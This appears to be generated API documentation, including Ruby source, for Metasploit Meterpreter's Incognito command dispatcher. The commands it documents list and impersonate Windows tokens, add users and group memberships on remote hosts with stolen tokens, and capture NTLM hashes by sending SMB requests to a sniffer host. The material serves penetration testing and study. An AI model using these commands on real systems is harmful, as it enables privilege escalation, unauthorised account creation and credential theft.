Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Incognito

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb

Overview

Privilege escalation extension user interface.

Constant Summary collapse

Klass = 
Console::CommandDispatcher::Incognito
@@add_user_opts = 
Rex::Parser::Arguments.new(
"-h" => [ true,  "Add user to remote host" ])
@@add_localgroup_user_opts = 
Rex::Parser::Arguments.new(
"-h" => [ true,  "Add user to local group on remote host" ])
@@add_group_user_opts = 
Rex::Parser::Arguments.new(
"-h" => [ true,  "Add user to global group on remote host" ])
@@list_tokens_opts = 
Rex::Parser::Arguments.new(
"-u" => [ false,  "List tokens by unique username" ],
"-g" => [ false, "List tokens by unique groupname" ])

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #docs_dir, #filter_commands, #log_error, #msf_loaded?, #session, set_hash, #unknown_command

Methods included from Msf::Ui::Console::CommandDispatcher::Session

#cmd_background, #cmd_background_help, #cmd_exit, #cmd_irb, #cmd_irb_help, #cmd_irb_tabs, #cmd_pry, #cmd_pry_help, #cmd_resource, #cmd_resource_help, #cmd_resource_tabs, #cmd_sessions, #cmd_sessions_help

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt

Constructor Details

#initialize(shell) ⇒ Incognito

Initializes an instance of the priv command interaction.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 23

def initialize(shell)
  super
end

Instance Method Details

#cmd_add_group_user(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 177

def cmd_add_group_user(*args)
  # Default to localhost
  host = "127.0.0.1"

  @@add_group_user_opts.parse(args) { |opt, idx, val|
    case opt
      when "-h"
        host = val
    end
  }

  if (args.length < 2)
    print_line("Usage: add_group_user <groupname> <username> [options]\n")
    print_line("Attempts to add a user to a global group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted")
    print_line(@@add_group_user_opts.usage)
    return
  end

  system_privilege_check

  groupname = args[0]
  username = args[1]

  client.incognito.incognito_add_group_user(host, groupname, username).each_line { |string|
    print(string)
  }

  return true
end

#cmd_add_localgroup_user(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 147

def cmd_add_localgroup_user(*args)
  # Default to localhost
  host = "127.0.0.1"

  @@add_localgroup_user_opts.parse(args) { |opt, idx, val|
    case opt
      when "-h"
        host = val
    end
  }

  if (args.length < 2)
    print_line("Usage: add_localgroup_user <groupname> <username> [options]\n")
    print_line("Attempts to add a user to a local group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted")
    print_line(@@add_localgroup_user_opts.usage)
    return
  end

  system_privilege_check

  groupname = args[0]
  username = args[1]

  client.incognito.incognito_add_localgroup_user(host, groupname, username).each_line { |string|
    print(string)
  }

  return true
end

#cmd_add_user(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 117

def cmd_add_user(*args)
  # Default to localhost
  host = "127.0.0.1"

  @@add_user_opts.parse(args) { |opt, idx, val|
    case opt
      when "-h"
        host = val
    end
  }

  if (args.length < 2)
    print_line("Usage: add_user <username> <password> [options]\n")
    print_line("Attempts to add a user to a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. password does not meet complexity requirements) or when all tokens are exhausted")
    print_line(@@add_user_opts.usage)
    return
  end

  system_privilege_check

  username = args[0]
  password = args[1]

  client.incognito.incognito_add_user(host, username, password).each_line { |string|
    print(string)
  }

  return true
end

#cmd_impersonate_token(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 99

def cmd_impersonate_token(*args)
  if (args.length < 1)
    print_line("Usage: impersonate_token <token>\n")
    print_line("Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.\n")
    print_line("Hint: Double backslash DOMAIN\\\\name (meterpreter quirk)")
    print_line("Hint: Enclose with quotation marks if name contains a space\n")
    return
  end

  system_privilege_check
  username = args[0]
  client.incognito.incognito_impersonate_token(username).each_line { |string|
    print(string)
  }

  return true
end

#cmd_list_tokens(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 55

def cmd_list_tokens(*args)
  token_order = -1

  @@list_tokens_opts.parse(args) { |opt, idx, val|
    case opt
      when "-u"
        token_order = 0
      when "-g"
        token_order = 1
    end
  }

  if (token_order == -1)
    print_line("Usage: list_tokens <list_order_option>\n")
    print_line("Lists all accessible tokens and their privilege level")
    print_line(@@list_tokens_opts.usage)
    return
  end

  system_privilege_check

  tokens = client.incognito.incognito_list_tokens(token_order)

  print_line()
  print_line("Delegation Tokens Available")
  print_line("========================================")

  tokens['delegation'].each_line { |string|
    print(string)
  }

  print_line()
  print_line("Impersonation Tokens Available")
  print_line("========================================")

  tokens['impersonation'].each_line { |string|
    print(string)
  }

  print_line()

  return true
end

#cmd_snarf_hashes(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 207

def cmd_snarf_hashes(*args)
  if (args.length < 1)
    print_line("Usage: snarf_hashes <sniffer_host>\n")
    print_line("Captures LANMAN/NTLM challenge response hashes by making SMB requests to the supplied sniffing host with every accessible token.\n")
    return
  end

  system_privilege_check

  print_line("[*] Snarfing token hashes...")
  client.incognito.incognito_snarf_hashes(args[0])
  print_line("[*] Done. Check sniffer logs")

  return true
end

#commands ⇒ Object

List of supported commands.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 30

def commands
  {
    'add_user'            => 'Attempt to add a user with all tokens',
    'add_localgroup_user' => 'Attempt to add a user to a local group with all tokens',
    'add_group_user'      => 'Attempt to add a user to a global group with all tokens',
    'list_tokens'         => 'List tokens available under current user context',
    'impersonate_token'   => 'Impersonate specified token',
    'snarf_hashes'        => 'Snarf challenge/response hashes for every token'
  }
end

#name ⇒ Object

Name for this dispatcher



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 233

def name
  "Incognito"
end

#system_privilege_check ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb', line 223

def system_privilege_check
  unless client.sys.config.is_system?
    print_line("[-] Warning: Not currently running as SYSTEM, not all tokens will be available")
    print_line("             Call rev2self if primary process token is SYSTEM")
  end
end